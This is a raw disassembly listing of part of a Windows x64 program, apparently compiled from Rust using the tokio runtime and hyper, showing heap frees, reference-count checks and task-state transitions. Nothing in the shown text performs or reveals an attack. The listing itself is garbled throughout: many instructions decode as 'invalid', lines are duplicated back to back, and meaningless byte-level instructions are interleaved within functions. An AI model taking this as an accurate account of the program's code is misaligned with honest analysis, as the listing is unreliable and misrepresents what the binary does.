cmp al, 5
je 0x14008e23b
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008e23b
test eax, eax
je 0x14008e23b
cmp eax, 1
jne 0x14008e1e4
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
jmp 0x14008e23b
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008e23b
lea rbx, [rax - 1]
pop rax
dec dword [rbx + rcx*4 + 0x70]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
jg 0x14008e211
invalid
je 0x14008e229
jg 0x14008e211
add byte [rbp + rbx + 0x49], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [r15 + 0x10], 0x11
jb 0x14008e217
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x70]
mov rdx, rdi
mov r8, rsi
call fcn.140089d90
movzx ecx, byte [rsp + 0x70]
cmp cl, 6
stc
invalid
jne 0x14008e269
stc
invalid
mov eax, 2
movabs rdx, 0xb00000003
jmp 0x14008e019
mov eax, dword [rsp + 0x74]
cmp cl, 5
jne 0x14008e295
cmp eax, 8
ja 0x14008e2db
mov ecx, 0x121
bt ecx, eax
jae 0x14008e2db
mov eax, 1
movabs rdx, 0xb00000003
jmp 0x14008e019
movzx edx, byte [rsp + 0x73]
mov byte [rsp + 0x4b], dl
movzx edx, word [rsp + 0x71]
mov word [rsp + 0x49], dx
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], cl
mov dword [rsp + 0x4c], eax
cmp cl, 4
jne 0x14008e2e4
mov rdx, qword [rsp + 0x50]
mov eax, 1
jmp 0x14008e019
mov byte [rsp + 0x48], 2
mov dword [rsp + 0x4c], eax
lea rcx, [rsp + 0x48]
call fcn.140039d20
mov rdx, rax
mov eax, 1
jmp 0x14008e019
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008e017
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14008e344
cmp qword [r14 + 0x10], 0x11
jb 0x14008e332
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rbx
jmp 0x14008e017
mov rdx, rbx
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2mod.rs
mov rcx, rax
call fcn.140108620
call fcn.140010970
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
int3
xor edx, edx
xor eax, eax
jmp 0x14008e4aa
invalid
call fcn.140039d20
mov ecx, eax
and ecx, 3
cmp ecx, 1
add dword [rbp + 0x48], esi
add dword [rbp + 0x48], esi
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov esi, dword [rax - 1]
mov esi, dword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
invalid
cmp qword [r15 + 8], 0
invalid
je 0x14008e479
invalid
add byte [rbp + rbx + 0x49], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [r15 + 0x10], 0x11
jb 0x14008e467
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
or byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x84ed5
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x84ed5
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rsi
call fcn.140089d90
movzx ecx, byte [rsp + 0x50]
push rax
mov dh, 0x4c
and al, 0x50
push rax
push rax
cmp cl, 6
jne 0x14008e4b9
invalid
mov eax, 1
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, dword [rsp + 0x54]
push rsp
cmp cl, 5
jne 0x14008e4e3
test eax, eax
je 0x14008e3f0
cmp eax, 5
je case.0x140065698.131
add eax, 0xf8830574
or byte [rbp + 0x4d], dh
cmp eax, 8
jne 0x14008e521
movabs rdx, 0xb00000003
jmp 0x14008e3f2
invalid
invalid
invalid
movzx edx, byte [rsp + 0x53]
mov byte [rsp + 0x2b], dl
movzx edx, word [rsp + 0x51]
mov word [rsp + 0x29], dx
push rsp
and al, 0x29
movups xmm0, xmmword [rsp + 0x58]
and al, 0x58
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x68]
xor byte [rdi], cl
adc byte [rsp + 0x68], al
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x2c], eax
cmp cl, 4
add al, 0x75
invalid
add al, 0x75
adc ecx, dword [rax - 0x75]
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
jmp 0x14008e3f2
mov byte [rsp + 0x28], 2
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x28]
call fcn.140039d20
mov rdx, rax
jmp 0x14008e3f2
int3
add eax, 0xfffffff0
shl r9, 4
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14008e572
mov eax, dword [r8 + 0x10]
add r8, 0x10
add eax, 0x10
add eax, 0x10
adc byte [rcx - 0x7d], cl
add r9, 0xfffffffffffffff0
test rax, rax
sal eax, 0x48
test eax, eax
je 0x14008e550
mov r8, qword [r8 + 8]
mov r9, rax
shr ecx, 0x1e
cli
invalid
invalid
shr ecx, 0x1e
cli
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
xor eax, eax
mov r9, rax
shr ecx, 0xe
cli
invalid
invalid
shr ecx, 0xe
cli
invalid
mov eax, 0x755ff122
push rbp
xor dword [rdi + 0x68], edx
movabs rdx, 0x3b9b92709e580163
xchg edx, eax
wait
invalid
xchg edx, eax
wait
cmp eax, ebx
ret
int3
ret
int3
int3
sub esp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
movzx eax, byte [0x140182310]
mov edx, 0x28
add byte [rax], al
invalid
clc
invalid
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
invalid
je 0x14008e62d
mov rdi, rax
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
and byte [r15], r9b
adc byte [rsi], al
invalid
and byte [r15], r9b
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
adc byte [rdi], r9b
adc dword [rdi + 0x10], ecx
movups xmmword [rdi], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400df910
test rax, rax
test eax, eax
test eax, eax
je 0x14008e63c
mov qword [rax], rdi
lea rcx, [0x14013dd98]
lea ecx, [0x14013dd98]
lea ecx, [0x14013dd98]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0xb
adc byte [rbx], cl
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
add byte [rax], al
mov edx, 0x28
call fcn.1401082c0
pushfq
invalid
invalid
pushfq
invalid
mov qword [rbp - 0x10], rdi
mov ecx, 8
add byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.1401082c0
ud2
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013dd98]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd190
adc bl, ch
add al, 0
adc bl, ch
add al, 0
nop
add rsp, 0x20
and byte [rdi + 0x5e], bl
and byte [rdi + 0x5e], bl
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx + 0x20]
mov r14, qword [rcx + 0x28]
test r14, r14
test esi, esi
je 0x14008e72f
lea rbx, [rdi + 0x18]
lea r15, [0x1401786f0]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], r8b
jmp 0x14008e6e4
nop dword cs:[rax + rax]
mov rcx, rbx
call fcn.140087660
add rbx, 0x138
dec r14
je 0x14008e72f
cmp dword [rbx - 0x18], 2
je 0x14008e6d8
ja 0x14008e6d8
movsxd rax, dword [r15 + rax*4]
add al, 0x87
add rax, r15
jmp rax
add byte [rdi + rcx*8 + 0x4c], dh
mov eax, dword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
jmp 0x14008e6d8
invalid
mov ebp, 0x184b8d48
lea ecx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
adc r15b, dil
push rax
adc bl, ch
invalid
adc r15b, dil
push rax
adc bl, ch
test eax, 0x187e8348
add byte [rdx + rdx + 0x48], dh
je 0x14008e748
mov rcx, qword [0x140182260]
cmp qword [rsi + 0x18], 0
je 0x14008e748
mov rcx, qword [0x140182260]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x14008e775
lock dec qword [rsi + 8]
dec dword [rsi + 8]
jne 0x14008e775
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
ret
push rsi
push rdi
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.0x140068e61.124
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x14008e7f5
test al, 4
je 0x14008ee48
test al, 3
je 0x14008e7b0
cmp rax, 0x3f
jbe 0x14008ee60
add byte [rsi], 0
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne case.0x140068e61.124
movzx eax, dl
lea rcx, [0x14017870c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x30], rax
add eax, 0x8948000c
and al, 0x30
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x30], 2
jae 0x14008ee78
invalid
cmp dword [0x18808e843], 0xffffff8d
add byte [rax - 0x73], cl
lea rdi, [rsi + 0x30]
jle 0x14008e86f
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
cmp cl, byte [rdi]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add dword [rax], eax
invalid
cmp eax, 1
add dword [rax], eax
add byte [rbx + 0x357401f8], al
je 0x14008e897
je 0x14008e897
xorps xmm6, xmm6
test eax, eax
jne 0x14008e8c3
mov eax, dword [0x140182314]
add eax, 0xf3aa5
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xc1
lea rcx, [r14 + 0xd0]
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008bf60
mov ecx, dword [0x140182314]
cmp cl, byte ds:[rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
cmp cl, byte ds:[rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x14008e925
test ecx, ecx
jne 0x14008e941
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x5571c
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
fadd dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
fadd dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
ror byte [rdi], 0x84
adc dword [rdx], eax
add byte [rax], al
ror byte [rdi], 0x84
adc dword [rdx], eax
add byte [rax], al
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x14017871c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008eeb0
invalid
add byte [rax - 0x7d], cl
loopne 0x14008e951
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008e962.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14008e9ad
call fcn.140068890
mov rcx, rdi
jmp 0x14008e9c9
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008e9e4
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008e962.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008ea53
xorps xmm6, xmm6
test eax, eax
jne 0x14008ea7f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
add eax, 0x5cd4e800
add al, 0
add eax, 0x5cd4e800
pop rsp
add al, 0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008eae7
test eax, eax
jne 0x14008ed1a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
cmp byte [rdi], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
cmp byte [rdi], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14008ec93
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14008eb9b
movzx eax, cl
xorps xmm6, xmm6
invalid
test eax, eax
jne 0x14008ebc7
test byte [rbp - 0x74a58a40], 5
movabs eax, dword [0x250c8b4865000f37]
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
add al, ch
lea ebx, [rbx + 4]
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov qword [rax + 0xf8], rbx
mov rcx, rdi
mov ecx, edi
call fcn.14008f4c0
add byte [rax], al
mov qword [rdi], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add dword [rax], eax
add byte [rbx + 0x357401f8], al
test eax, eax
jne 0x14008ed65
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
add byte [rax], al
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
and byte [rcx], al
add byte [rax], al
add byte [rcx], al
and byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
adc dword [rsi + 0x38], eax
push rdi
ror byte [rdi], 0x11
adc dword [rsi + 0x38], eax
mov qword [rsi + 0x48], 0
adc dword [rsi + 0x38], eax
mov qword [rsi + 0x48], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
jnp 0x14008eccd
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x317401f8], al
add byte [rbx + 0x317401f8], al
test eax, eax
jne 0x14008ecfd
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x55359
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call 0x14008f590
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008eb05
xorps xmm6, xmm6
test eax, eax
jne 0x14008eb31
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14008eb05
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rdi], 3
jmp 0x14008ea93
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
push 1
push 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
xor al, r13b
invalid
sar bh, 0xff
push rax
xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14008f196
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008f18f
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008f157
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008f176
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
or cl, byte [rax - 0x75]
invalid
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f351
test eax, eax
jne 0x14008f44e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
add al, 0
add al, 0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
xor byte [rdx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
xor byte [rdx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f40f
test eax, eax
jne 0x14008f429
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14008f590
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008f36f
xorps xmm6, xmm6
test eax, eax
jne 0x14008f39b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14008f36f
int3
jg 0x14008f51a
adc dword [rdx + 4], esi
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and dword [rax - 0x7d000000], 0x1e7403f8
test eax, eax
jne 0x14008f569
mov rsi, rcx
call fcn.140065ab0
add rsi, 0x18
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14008be70
mov rsi, rcx
mov rcx, rax
call fcn.14008be70
cmp dword [rsi + 0x50], 2
jne 0x14008f570
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rsi
add rcx, 0x50
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140065ab0
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14008f5b0
test al, 1
je case.0x14005088a.190
test al, 2
jne 0x14008f7b3
test al, 8
jne 0x14008f6d6
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f62d
xorps xmm6, xmm6
test eax, eax
jne 0x14008f659
mov eax, dword [0x140182314]
